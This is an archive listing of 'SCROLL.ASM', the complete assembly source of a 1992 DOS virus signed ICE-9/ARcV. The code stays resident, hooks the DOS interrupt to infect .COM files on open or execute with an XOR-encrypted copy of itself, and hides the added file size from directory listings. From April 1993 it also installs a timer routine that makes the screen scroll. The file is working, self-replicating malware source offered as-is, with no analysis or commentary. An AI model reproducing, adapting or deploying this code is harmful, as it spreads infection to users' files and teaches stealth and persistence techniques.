home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / SCROLL.ASM < prev    next >
Assembly Source File  |  1992-10-21  |  13KB  |  426 lines

  1.         
  2.                                 NAME XX2
  3.                                 PAGE 55,132
  4.                                 TITLE ?????
  5.  
  6. len                             equ offset handle-offset main2
  7. enlen1                          equ offset int21-offset main3
  8.  
  9.  
  10. code segment
  11.  
  12.  
  13.                         ASSUME CS:CODE,DS:CODE,ES:CODE
  14.  
  15.                         org 100h
  16.  
  17.  
  18. main:                   xor si,si
  19.                         call level1
  20.                         jmp main2
  21.                         dd 0h
  22.  
  23.  
  24. main2:                  call level1 
  25.                         jmp main3
  26.  
  27. int24                   dd 0h
  28.  
  29. level1:                 call nextline
  30. nextline:               pop ax
  31.                         xchg si,ax
  32.                         sub si,offset nextline
  33.                         lea di,(main3+si)
  34.                         mov cx,enlen1
  35. uncry1:                 xor byte ptr ds:[di],01h
  36. key:                    inc di
  37.                         loop uncry1
  38.                         ret
  39.  
  40.  
  41. main3:                  lea ax,(oldstart+si)
  42.                         mov di,0100h
  43.                         mov cx,2
  44.                         xchg si,ax
  45.                         cld
  46.                         repz movsw
  47.  
  48.                         xchg si,ax
  49.  
  50.                         mov cs:[scrolrq],00h
  51.  
  52.                         mov ax,0f307h
  53.                         int 21h
  54.                         cmp ax,0cf9h
  55.                         je run_old 
  56.                         jmp instal 
  57.  
  58. run_old:                mov ax,cs    
  59.                         mov ds,ax
  60.                         mov es,ax
  61.                         mov ax,0100h
  62.                         jmp ax  
  63.  
  64. instal:                 xor ax,ax                       ; Residency Routine
  65.                         push ax
  66.                         mov ax,es
  67.                         dec ax
  68.                         mov es,ax
  69.                         pop ds
  70.                         cmp byte ptr es:[0],5ah         
  71.                         jne run_old                    
  72.                         mov ax,es:[3]                   
  73.                         sub ax,0bch                     
  74.                         jb  run_old                     
  75.                         mov es:[3],ax                   
  76.                         sub word ptr es:[12h],0bch      
  77.                         mov es,es:[12h]                  
  78.                         push ds
  79.                         push cs 
  80.                         pop ds
  81.  
  82.                         mov di,offset main2
  83.                         lea ax,(main2+si)
  84.                         xchg si,ax
  85.                         mov cx,len
  86.                         cld
  87.                         repz movsb
  88.                         pop ds
  89.  
  90.                         xchg si,ax
  91.  
  92.                         mov ah,2ah
  93.                         int 21h
  94.                         cmp cx,1993
  95.                         jb instal_int21
  96.                         cmp dl,3 
  97.                         jne instal_int21
  98.                         cmp al,4h
  99.                         jne instal_int21
  100.                         jmp instal_scrol
  101.  
  102. instal_int21:           xor ax,ax
  103.                         mov ds,ax
  104.                         mov ax,ds:[0084h]
  105.                         mov bx,ds:[0086h]
  106.                         mov word ptr es:[int21],ax
  107.                         mov word ptr es:[int21+2],bx
  108.                         cli
  109.                         mov ds:[0084h],offset new21
  110.                         mov ds:[0086h],es
  111.                         sti
  112.                         push cs
  113.                         pop es
  114.                         jmp run_old
  115.  
  116. ; Int 1ch Handler
  117.  
  118. new1c:                  inc word ptr cs:[count]
  119.                         cmp word ptr cs:[count],1554h
  120.                         jb chain_1c
  121.  
  122.                         push ax
  123.                         push dx
  124.                         push ds
  125.  
  126.                         xor ax,ax
  127.                         mov ds,ax
  128.                         mov dx,word ptr ds:[0463h]
  129.                         in al,dx
  130.                         push ax
  131.                         mov al,8
  132.                         out dx,al
  133.                         inc dx
  134.                         in al,dx
  135.                         mov ah,al
  136.                         inc ah
  137.                         and ah,0fh
  138.                         and al,0f0h
  139.                         or al,ah
  140.                         out dx,al
  141.                         pop ax
  142.                         dec dx
  143.                         out dx,al
  144.  
  145.                         pop ds
  146.                         pop dx
  147.                         pop ax
  148. chain_1c:               jmp cs:[int1c]
  149.  
  150.  
  151.  
  152. int1c                   dd 0h
  153. count                   dw 0h
  154. scrolrq                 db 0h
  155.  
  156.  
  157. ; Int 21h Handler
  158.  
  159. adjust_fcb:             push bx
  160.                         push es
  161.                         push ax
  162.                         mov ah,2fh
  163.                         call i21
  164.                         pop ax
  165.                         call i21
  166.                         push ax
  167.                         cmp al,0ffh
  168.                         je not_fcb_adjust
  169.                         cmp byte ptr es:[bx],0ffh 
  170.                         jne normal_fcb
  171.                         add bx,7
  172. normal_fcb:             mov al,byte ptr es:[bx+17h]
  173.                         and al,1fh
  174.                         cmp al,1fh
  175.                         jne not_fcb_adjust
  176.                         sub es:[bx+1dh],len
  177. not_fcb_adjust:         pop ax
  178.                         pop es
  179.                         pop bx
  180.                         retf 2
  181.  
  182.  
  183. check_fcb:              cmp ah,11h
  184.                         je adjust_fcb
  185.                         cmp ah,12h
  186.                         je adjust_fcb
  187.                         jmp check_infect
  188.  
  189.  
  190. new21:                  cmp ax,0f307h 
  191.                         jne check_for_handle
  192.                         neg ax
  193.                         retf 2
  194.  
  195. check_for_handle:       cmp ah,4eh
  196.                         jb check_fcb       
  197.  
  198.                         cmp ah,4fh
  199.                         ja check_infect 
  200.                         jmp adjust         
  201.  
  202.  
  203.  
  204. chain_21:               jmp cs:[int21]
  205.  
  206.  
  207. check_infect:           cmp byte ptr cs:[scrolrq],0ffh
  208.                         je chain_21
  209.                         cmp ah,3dh  
  210.                         je open_request
  211.                         cmp ah,4bh
  212.                         je open_request
  213.                         jmp chain_21
  214.  
  215. open_request:           push ax
  216.                         push bx
  217.                         push cx
  218.                         push dx
  219.                         push es
  220.                         push bp
  221.                         push di
  222.                         push ds
  223.                         mov di,dx
  224.                         mov cx,6fh
  225. next_byte:              cmp ds:[di],'C.'
  226.                         jne inc_pointer
  227.                         cmp ds:[di+2],'MO' 
  228.                         jne inc_pointer 
  229.                         cmp byte ptr ds:[di+4],00h 
  230.                         jne inc_pointer 
  231.                         jmp infect_it 
  232.  
  233. inc_pointer:            inc di 
  234.                         loop next_byte 
  235.  
  236. exit_21:                pop ds
  237.                         pop di
  238.                         pop bp
  239.                         pop es
  240.                         pop dx
  241.                         pop cx
  242.                         pop bx
  243.                         pop ax
  244.                         jmp chain_21
  245.  
  246. infect_it: 
  247.                         mov bp,sp                 
  248.                         mov dx,ss:[bp+8]
  249.                         mov ax,4300h
  250.                         call i21
  251.                         mov cs:[file_attr],cx
  252.                         and cx,01fh
  253.                         cmp cx,2
  254.                         jae exit_21
  255.                         xor cx,cx
  256.                         mov ax,4301h
  257.                         call i21
  258.  
  259.  
  260. open_file:              mov ax,3d02h
  261.                         call i21
  262.                         jc exit_21
  263.                         mov cs:[handle],ax
  264.                         mov ax,cs
  265.                         mov ds,ax
  266.                         mov es,ax
  267.  
  268.                         mov ax,5700h
  269.                         call file_int21   
  270.                         mov ds:[file_time],cx
  271.                         mov ds:[file_date],dx
  272.  
  273.                         mov ah,3fh
  274.                         mov dx,offset oldstart
  275.                         mov cx,4h
  276.                         call file_int21
  277.  
  278.                         mov ax,4200h
  279.                         xor cx,cx
  280.                         mov dx,word ptr ds:[oldstart+1]
  281.                         add dx,3
  282.                         call file_int21
  283.  
  284.                         mov ah,3fh
  285.                         mov dx,offset buff
  286.                         mov cx,5
  287.                         call file_int21
  288.  
  289.                         mov di,offset buff
  290.                         mov si,offset main2
  291.                         mov cx,5
  292.                         cld
  293. compare_next:           repz cmpsb
  294.                         je close_21 
  295.  
  296. no_marker:              mov ax,4202h
  297.                         xor cx,cx
  298.                         mov dx,cx
  299.                         call file_int21
  300.  
  301.                         cmp ax,0fd00h-len
  302.                         ja close_21
  303.                         sub ax,3
  304.                         mov word ptr ds:[jump+1],ax
  305.  
  306.                         call encry_and_save
  307.  
  308.                         mov ax,4200h
  309.                         xor cx,cx
  310.                         mov dx,cx
  311.                         call file_int21
  312.  
  313.                         mov ah,40h
  314.                         mov cx,3
  315.                         mov dx,offset jump
  316.                         call file_int21
  317.  
  318.                         mov cx,ds:[file_time]
  319.                         or cl,01fh
  320.                         mov dx,ds:[file_date]
  321.                         mov ax,5701h
  322.                         call file_int21
  323.  
  324.                         mov dx,ss:[bp+8]
  325.                         pop ds          
  326.                         push ds   
  327.                         mov ax,4301h
  328.                         mov cx,cs:[file_attr]
  329.                         call i21
  330.  
  331. close_21:               mov ah,3eh
  332.                         call file_int21
  333.                         jmp exit_21
  334.  
  335. instal_scrol:           push es
  336.                         mov ah,12h  
  337.                         mov bx,2210h
  338.                         int 10h         
  339.                         pop es
  340.                         cmp bx,2210h
  341.                         jne change_int8
  342.                         jmp instal_int21
  343.  
  344.  
  345.  
  346. adjust:                 push es      
  347.                         push bx
  348.                         push ax
  349.                         mov ah,2fh
  350.                         call i21
  351.                         pop ax
  352.                         call i21
  353.                         pushf  
  354.                         push ax
  355.                         jc ret_from_inter   
  356.                         mov ah,byte ptr es:[bx+16h]
  357.                         and ah,01fh
  358.                         cmp ah,01fh
  359.                         jne ret_from_inter
  360.                         sub word ptr es:[bx+1ah],len
  361. ret_from_inter:         pop ax
  362.                         popf
  363.                         pop bx
  364.                         pop es
  365.                         retf 2
  366.  
  367. file_int21:             mov bx,cs:[handle] 
  368. i21:                    pushf
  369.                         call cs:[int21]
  370.                         ret
  371.  
  372. change_int8:            mov ax,351ch
  373.                         push es
  374.                         int 21h
  375.                         pop ds
  376.                         mov word ptr ds:[int1c],bx
  377.                         mov word ptr ds:[int1c+2],es
  378.  
  379.                         mov ax,251ch
  380.                         mov dx,offset new1c
  381.                         int 21h
  382.                         push ds
  383.                         pop es
  384.                         mov byte ptr ds:[scrolrq],0ffh
  385.  
  386.                         jmp instal_int21
  387.  
  388. ; Data Area
  389.  
  390. info                    db '[SCROLL]',00h
  391.                         db 'ICE-9'
  392.                         db ' ARcV',00h 
  393.  
  394.  
  395. oldstart:               mov ah,4ch
  396.                         int 21h
  397.  
  398. jump                    db 0e9h,00h,00h
  399. command                 db '\COMMAND.COM',00h
  400.  
  401. int21                   dd 0h
  402.  
  403. encry_and_save:         cli
  404.                         call level1
  405.                         mov ah,40h
  406.                         mov cx,len
  407.                         mov bx,ds:[handle]
  408.                         mov dx,offset main2
  409.                         pushf   
  410.                         call cs:[int21]
  411.                         call level1
  412.                         add byte ptr cs:[key-1],2
  413.                         sti
  414.                         ret
  415.  
  416.  
  417. handle                  dw 0h
  418. file_time               dw 0h
  419. file_date               dw 0h
  420. file_attr               dw 0h
  421.  
  422. buff                    db 70h dup (?)
  423.  
  424. code ends
  425.  
  426. end main